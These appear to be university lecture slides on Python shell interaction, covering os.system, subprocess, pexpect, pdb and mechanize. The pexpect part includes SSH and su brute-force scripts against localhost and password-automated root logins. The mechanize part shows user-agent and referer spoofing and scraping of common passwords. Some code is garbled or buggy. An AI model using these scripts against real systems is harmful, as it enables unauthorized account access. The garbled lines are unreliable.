Python ShellInteraction

Christoffer Berglund

September 27, 2018

Overview

- Python intro assignment
- Repetition
- Shell integration
- Subprocess
- Pexpect
- Debugging
- Mechanize

Python intro assignment

https://uia.instructure.com/courses/1336/assignments/7834

- Task 3 should have been defined better.

Task 3 specs

- Length = 6
- Capitalized characters = 1
- Start character = int

Solution

Task1

```
names = ['christoffer berglund', 'thomas olsen']
user = ['chrisb', 'thomao']

for n, u in zip(names, user):
    print(n, u, sep=": ")
```

Task2

```
import random
password = []
for i in range(3):
    password.append(random.randint(0, 9))

for i in range(10):
    for j in range(10):
        for x in range(10):
            if [i, j, x] == password:
                print([i, j, x])
```

or pythonic way (list comprehension)

```
password = [random.randint(0, 9) for i in range(3)]
[[a, b, c] for a in range(10) for b in range(10) for c in range(10)]
```

or a fun solution

```
password = [random.randint(0, 9) for i in range(3)]
rec = lambda x: password if password else rec([random.randint(0,9),
                                               random.randint(0,9),
                                               random.randint(0,9)])
rec([9,9,9])
print(password)
```

Task3

```
password_list = {"chris": "helloworld", "john": "passw1",
                 "nelly": "2hell1", "wendy": "1Passw"}

for user, password in password_list.items():
```

```
if len(password) == 6
   and password[0].isdigit()
   and sum(map(str.isupper, password)) == 1:
    print(password)
```

Side track

- Time is measured in seconds

times	for-loop time	pythonic	lambda time
1	0.000117	0.000114	9.059906 (-06)
1000	0.081376	0.080946	0.003182
1000000	116.518488	93.545861	5.742162

Repetition

Reading and writing to file

- Reading

```
f = open('somefile.txt', 'r')
f.read()  # read's the hole file
f.close()  # close the file
```

- Writing

```
f = open('anotherfile.txt', 'w')
f.write('Hello from lecture!')  # write a string to the file
f.close()  # close the file
```

Options for open

Character	Meaning
r	read
w	write
x	create
a	append
b	binary
t	text mode
+	update, read and write
U	universal newline mode

Context manager

- Garantees the the file is exits in the correct way
- No need for file.close()

```
with open('somefile.txt', 'r') as f:
    f.read()
```

More advanced

- pythonic way to validate
- index() +4 -> each letter has a index

```
f = open('livehack.txt','r')
l = f.readlines() # As list of lines
f.close()
validlines = [i for i in l if('from' in i and 'port' in i)]
firstline = validlines[0]
print(firstline)
start = firstline.index('from')+4
end = firstline.index('port')
print(end)
ip = firstline[start:end].strip()
print(ip)
```

Serialize date = pickle

- Serializing/writing

```
import pickle
s = {'hello': 'world'}
f = open('picklefile.pickle','wb')
pickle.dump(s,f)
f.close()
```

- Deserializing/Reading

```
f = open('picklefile.pickle','rb')
x = pickle.load(f)
print(x)
```

LBYL vs EAFP

- Look Before You Leap vs Easier to Ask Forgiveness than Permission
- Two methods of catching error
- When to use them? **It depends**
  - Sometimes you want errors to show, sometimes you want them not to show

Shell integration

With OS

```
import os
os.system('ls')
```

This we have used before

Exit status

```
import os
exitstatus = os.system('rm fil')
if(exitstatus==0):
     print("File successfully removed")
```

Can deal with exitstatus'es

Error code

```
import os
exitstatus = os.system('ls filenotexists')
print(exitstatus)
```

exitstatus = number code

Exit Staus

Code	Linux/Mac	Windows
0	Successfull	Successfull
1	Warning	Incorrect function
3	Path not found	Path not found
4	-	Too many open files
5	Access denied	Access denied
87	Invalid parameter	-
512	File not found	-
...	...	...

The list is not complete
have no meaning

Hand-raising assignment

- How do you redirect error messages in Linux?

Hand-raising assignment solution

- > /dev/null

Error code

```
import os
exitstatus = os.system('ls filenotexists >/dev/null')
print(exitstatus)
```

5 Minute Assignment

- Ask the user for a program
- Run it through os.system
- If it is not successful, print an error message

Solution

```
import os
p = input('Write the name of a program')
if(os.system(p)>0):
    print('Something went wrong')
```

Other Os-commands

```
os.listdir('.')
os.lstat('livehack.txt')
os.mkdir('somedirectory')
os.mkdir('somedirectory/somesubdir')
os.remove( ...)
os.rename('data.txt','data2.txt')
```

lstat = information about a file

Os platform independence

```
os.path.join('dir1','dir2')
os.getlogin() # Only unix.
```

os.path.join = will handle different operating systems
os.getlogin() = will print the true user

Subprocess

General

- Intend to replace `os.system` and `os.spawn`
- Connect to input, output and error pipe
- Two main interfaces
  - `run()`
  - `Popen`

run = recommended
Popen = advanced

Subprocess run

- Options for run

```
import subprocess
subprocess.run(args, *, stdin=None,
               input=None, stdout=None, stderr=None,
```

```
                capture_output=False, shell=False, cwd=None,
                timeout=None, check=False, encoding=None,
                errors=None, text=None, env=None)
```

- In use

```
import subprocess
subprocess.run(["ls","-l"])
```

List of all input for run() in python 3.7, has change alot!
This does not capture the output

Subprocess capture output

- Collecting the output

```
import subprocess
data = subprocess.run(["ls"], stdout=subprocess.PIPE)
print(data.stdout)
```

This will capture the output

Subprocess capture error

```
import subprocess
data = subprocess.run(["ls"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
print(data.stderr)
```

Can also point both or one to None if you dont want to capture
Does not need both for error.

5 Minute Assignment

- Ask the user for a file.
- Use subprocess to cat the file.
- Present the file for the user

Solution

```
import subprocess
f = input("Which file?")
data = subprocess.run(["cat",f], stdout=subprocess.PIPE)
print(data.stdout)
```

Extending with grep

What I want to run:

```
cat file | grep print
```

Python

```
import subprocess
f = input("Which file?")
p1 = subprocess.Popen(["cat",f],stdout=subprocess.PIPE)
p2 = subprocess.Popen(["grep","print"],stdin=p1.stdout,stdout=subprocess.PIPE)
stdout,stderr = p2.communicate()
print(stdout)
```

communicate = sends data to stdin, returns a tuple

Pexpect

What is it?

- Pure Python module for spawning child applications
- Can be used for automating interactive applications like ssh
- Can be used for application testing

Install instructions

```
pip install pexpect
```

Simple

```
import pexpect
data = pexpect.run('ls -al')
```

The expect-method

- Expect: Waits for a child to return a given string.
  - E.g. superuser@localhost's password:
- Send: Sends something, e.g. password

Show ssh localhost
if it does not work for you, try apt-get install ssh

Pexpect for su

```
import pexpect
child = pexpect.spawn('su root')
child.expect('Password:')
child.sendline('hemmelig123')
child.sendline('cd ~')
child.sendline('touch HackedYou')
import time
time.sleep(1)
child.terminate()
```

log in as root, and create a file

Function renaming

```
import pexpect
child = pexpect.spawn('su root')
child.expect('Password:')
s = child.sendline
s('hemmelig123')
s('cd ~')
s('touch HackedYou')
import time
time.sleep(1)
child.terminate()
```

Multiple options

```
import pexpect
child = pexpect.spawn('su root')
res = child.expect(['Password:','christoffer@loft4578:~'])
if(res==0):
    child.sendline('hemmelig123')
child.sendline('cd ~')
child.sendline('touch HackedYou')
import time
time.sleep(1)
child.terminate()
```

Logging in with Pexpect

```
import pexpect
child = pexpect.spawn('ssh superuser@localhost')
child.expect('.* password:')
child.sendline('hemmelig123')
child.sendline('touch yourhacked')
```

Giving session to user

```
import pexpect
child = pexpect.spawn('ssh superuser@localhost')
child.expect('.* password:')
child.sendline('hemmelig123')
child.sendline('touch yourhacked')
child.interact()
```

interact = let the user type in
    echo child stdout and stderr to real stdout stderr

Logfile

```
import pexpect
child = pexpect.spawn('ssh superuser@localhost')
f = open('logfile','wb')
child.logfile = f
child.expect('.* password:')
child.sendline('hemmelig123')
child.sendline('touch yourhacked')
f.close()
child.interact()
```

Regular expressions

```
[p|P] # Either p or P
. # anything
.* # anything between 0 and infinite times
```

With regular expressions

```
import pexpect
child = pexpect.spawn('ssh superuser@localhost')
```

```
child.expect('.* [p|P]assword:')
child.sendline('hemmelig123')
child.sendline('touch yourhacked')
child.interact()
```

With regular expressions

```
import pexpect
child = pexpect.spawn('ssh superuser@localhost')
child.expect('.* [p|P]assword:')
child.sendline('hemmelig123')
child.sendline('touch yourhacked')
child.expect('superuser@.*')
child.interact()
```

5 Minute Assignment

- Make a program that ssh's to localhost and deletes the file yourhacked

Solution

```
import pexpect
child = pexpect.spawn('ssh localhost')
child.expect('.* [p|P]assword:')
child.sendline('hemmelig123')
child.sendline('rm youRhacked')
child.interact()
```

Timeout

```
import pexpect
child = pexpect.spawn('ssh superuser@localhost')
res = child.expect(['.* [p|P]assword:',pexpect.TIMEOUT],5)
if res==0:
   child.sendline('hemmelig123')
   child.sendline('rm yourhacked')
   child.interact()
```

Brute force attack

```
import pexpect
password = ['hemmelig','hemmelig123','superhemmelig']
child = pexpect.spawn('ssh superuser@localhost')
for p in password:
   print('Trying password:',p)
   child.expect(["password.*",pexpect.TIMEOUT],5)
   child.sendline(p)
   success = child.expect(["superuser@.*\:\~\$.*",pexpect.TIMEOUT],5)
   print('success:',success)
   if success==0:
       print("Access granted")
       break
child.interact()
```

Really Brute force attack

```
import pexpect
def f():
    return ''.join([chr(random.randint(64,128)) for i in range(10)])
password = [f() for i in range(1000)]
child = pexpect.spawn('ssh superuser@localhost')
for p in password:
   print('Trying password:',p)
   child.expect(["superuser@localhost's password.*",pexpect.TIMEOUT],5)
   child.sendline(p)
   success = child.expect(["superuser@ubuntu\:\~\$.*",pexpect.TIMEOUT],5)
   print('Success:',success)
   if
  \item 0: Successfull safasfsd success==0:
       print("Access granted")
       break
child.interact()
```

Complete example

```
def f():
   return ''.join([chr(random.randint(64,128)) for i in range(10)])
password = [f() for i in range(1000)]
child = pexpect.spawn('ssh superuser@localhost')
```

```
for p in password:
   print 'Trying:',p
   child.expect([".* [p|P]assword:",pexpect.TIMEOUT,pexpect.EOF],5)
   child.sendline(p)
   res = child.expect(["superuser@ubuntu\:\~\$.*",pexpect.TIMEOUT,pexpect.EOF],5)
   if(res==2):
       child = pexpect.spawn('ssh superuser@localhost')
   if(res==0):
       print("Access granted. The password is:",p)
       break
child.interact()
```

Complete example

```
import pdb
def f():
   return ''.join([chr(random.randint(64,128)) for i in range(10)])
password = [f() for i in range(1000)]
child = pexpect.spawn('ssh superuser@localhost')

for p in password:
   pdb.set_trace()
   print 'Trying:',p
   child.expect([".* [p|P]assword:",pexpect.TIMEOUT,pexpect.EOF],5)
   child.sendline(p)
   res = child.expect(["superuser@ubuntu\:\~\$.*",pexpect.TIMEOUT,pexpect.EOF],5)
   if(res==2):
       child = pexpect.spawn('ssh superuser@localhost')
   if(res==0):
       print("Access granted. The password is:",p)
       break
child.interact()
```

Debugging

Python build in debugger

- pdb

```
import pdb
pdb.set_trace()
```

- There are others
  - https://wiki.python.org/moin/PythonDebuggingTools

PDB-Commands

- l: Se kode
- w: print Stack Trace
- b 22: set break point at 22
- c: continue
- q: quit

Web interaction

Urllib

- Stateless.
- Simple requests.
- All parsing etc. need to be done manually.

Opening a page

```
from urllib.request import urlopen
html = urlopen('https://www.uia.no')
print(html.read())
```

Mechanize

Mechanize

- Statefull
- Easy HTML form filling.
- Link parsing and following.
- Browser history: Back and Reload
- Refer to HTTP headers properly

- Observes robots.txt
- Automatic handling of HTTP-equip
- Can not execute javascript

Simple example

```
import mechanize
br = mechanize.Browser()
br.open('http://uia.no')
br.title()
```

Make sure data can be viewed

```
import mechanize
br = mechanize.Browser()
br.open('http://188.138.32.138/dat234/one.php')
assert br.viewing_html()
```

HTTP request

Without header manipulation

```
import mechanize
br = mechanize.Browser()
br.open('http://188.138.32.138')
```

Faking user agent

```
br = mechanize.Browser()
print br.addheaders
br.addheaders = [('User-agent',
                  'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)
                  Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
```

Faking referer

```
br = mechanize.Browser()
print br.addheaders
br.addheaders = [('User-agent',
                  'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)
```

```
                    Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1'),
                    ('Referer','http://www.aftenposten.no')]
```

Forms

```
import mechanize
br = mechanize.Browser()
br.open('http://188.138.32.13/dat234/one.php')
form = br.forms().next()
print form
```

Using forms

```
one = form.find_control(type="text",nr=0)
two = form.find_control(type="text",nr=1)
one.value = 'Christoffer'
two.value = 'Berglund'
br.select_form(nr=0)
br.submit()
```

Using forms (Alternative 2)

```
form.find_control(type="text") #More than one
one = form.find_control(name="firstname")
two = form.find_control(name="lastname")
one.value = 'Christoffer'
two.value = 'Berglund'
br.select_form(nr=0)
br.submit()
```

Using forms (Alternative 3)

```
br = mechanize.Browser()
br.open('http://188.138.32.138/dat234/one.php')
br.select_form(nr=0)
br['firstname'] = "Christoffer"
br['lastname'] = "Berglund"
br.submit()
```

Finding links

```
import mechanize
br = mechanize.Browser()
br.open('http://188.138.32.138/dat234/two.php')
for link in br.links():
    print link
```

Printing text

```
import mechanize
br = mechanize.Browser()
br.open('http://188.138.32.138/dat234/two.php')
for link in br.links():
    print link.text
```

Pythonic way of getting one link

```
alllinks = [i for i in br.links() if i.text=='uia']
onelink = [i for i in br.links() if i.text=='uia'][0]
br.follow_link(onelink)
br.title()
br.back()
br.title()
```

Printing link titles

```
import mechanize
br = mechanize.Browser()
br.open('http://188.138.32.138/dat234/two.php')
for link in br.links():
    d = dict(link.attrs)
    print d.get('title','No title')
```

5 Minute Assignment

- Go to the UiA homepage and follow the link that says Canvas

Solution

```
br = mechanize.Browser()
br.open('http://www.uia.no')
```

```
onelink = [i for i in br.links() if i.text='Canvas'][0]
br.follow_links(onelink)
```

Read the content and HTTP header

```
import mechanize
br = mechanize.Browser()
br.response().read()
print(br.response().info())
```

Easy HTML-parser

```
br.open('http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time')
data = br.response().read()
start = data.find('Top 1-100')
end = data.find('Source')
interesting = data[start:end]
import re
re.sub('<[^>]*>','',interesting).split()
```